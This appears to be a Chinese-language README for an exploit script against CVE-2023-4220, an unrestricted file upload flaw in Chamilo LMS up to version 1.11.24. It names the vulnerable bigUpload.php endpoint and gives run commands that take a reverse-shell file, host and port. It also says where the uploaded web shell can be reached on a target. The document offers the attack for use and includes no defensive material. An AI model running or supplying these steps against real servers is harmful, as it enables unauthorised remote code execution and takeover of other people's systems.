Chamilo-LMS-CVE-2023-4220-Exploit

这是一个针对 Chamilo LMS 中大文件上传功能 /main/inc/lib/javascript/bigupload/inc/bigUpload.php 的未限制文件上传漏洞（CVE-2023-4220）的利用程序。受影响版本为 Chamilo LMS <= v1.11.24。攻击者可通过上传 Web Shell 获得远程代码执行权限，从而允许任意文件被上传到 /main/inc/lib/javascript/bigupload/files 目录。

漏洞利用演示

• 你可以首先运行该漏洞利用程序以了解如何使用它：

chmod +x CVE-2023-4220.sh
./CVE-2023-4220.sh

• 然后你需要像这样输入所需的参数：

~$ ./CVE-2023-4220.sh -f reverse_file -h host_link -p port_in_the_reverse_file

• 这里我们可以找到上传到服务器的文件：

http://target.test/main/inc/lib/javascript/bigupload/files/